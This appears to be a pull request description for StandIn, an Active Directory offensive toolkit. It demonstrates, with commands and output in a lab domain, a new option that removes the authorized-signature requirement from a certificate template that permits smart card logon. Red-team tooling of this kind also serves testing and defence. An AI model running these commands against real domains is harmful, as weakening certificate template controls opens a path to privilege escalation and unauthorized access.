StandIn
StandIn copied to clipboard
Fixed PR for Authorized Signature Modification
@FuzzySecurity here's the fixed PR, feel free to delete the original monstrosity I posted Confirming authorized signatures are required:
C:\temp>StandIn.exe --adcs --filter HomelabTemplate
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=EVILCORP,DC=local
[>] Certificate Authority : EVILCORP-ADCS-CA
|_ DNS Hostname : ADCS.EVILCORP.local
|_ Cert DN : CN=EVILCORP-ADCS-CA, DC=EVILCORP, DC=local
|_ GUID : b871e353-bd19-4bb1-b9a3-12114defce9e
|_ Published Templates : HomelabTemplate
SmartcardLogon
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
[>] Publishing CA : EVILCORP-ADCS-CA
|_ Template : HomelabTemplate
|_ Signatures : 1
Removing the signature requirement
C:\temp>StandIn.exe --adcs --filter HomelabTemplate --signature --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=EVILCORP,DC=local
[>] Publishing CA : EVILCORP-ADCS-CA
|_ Template : HomelabTemplate
|_ Enroll Flags : PUBLISH_TO_DS, AUTO_ENROLLMENT
|_ Name Flags : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH
|_ pKIExtendedKeyUsage : Smart Card Logon
| Client Authentication
|_ Created : 12/4/2021 2:08:32 AM
|_ Modified : 12/6/2021 2:36:30 AM
[+] Removing msPKI-RA-Signature Flag..
|_ Success
Confirmation the operation was successful:
C:\temp>StandIn.exe --adcs --filter HomelabTemplate
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=EVILCORP,DC=local
[>] Certificate Authority : EVILCORP-ADCS-CA
|_ DNS Hostname : ADCS.EVILCORP.local
|_ Cert DN : CN=EVILCORP-ADCS-CA, DC=EVILCORP, DC=local
|_ GUID : b871e353-bd19-4bb1-b9a3-12114defce9e
|_ Published Templates : HomelabTemplate
SmartcardLogon
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
[>] Publishing CA : EVILCORP-ADCS-CA
|_ Template : HomelabTemplate
|_ Signatures : 0
Thanks again for writing such an awesome tool!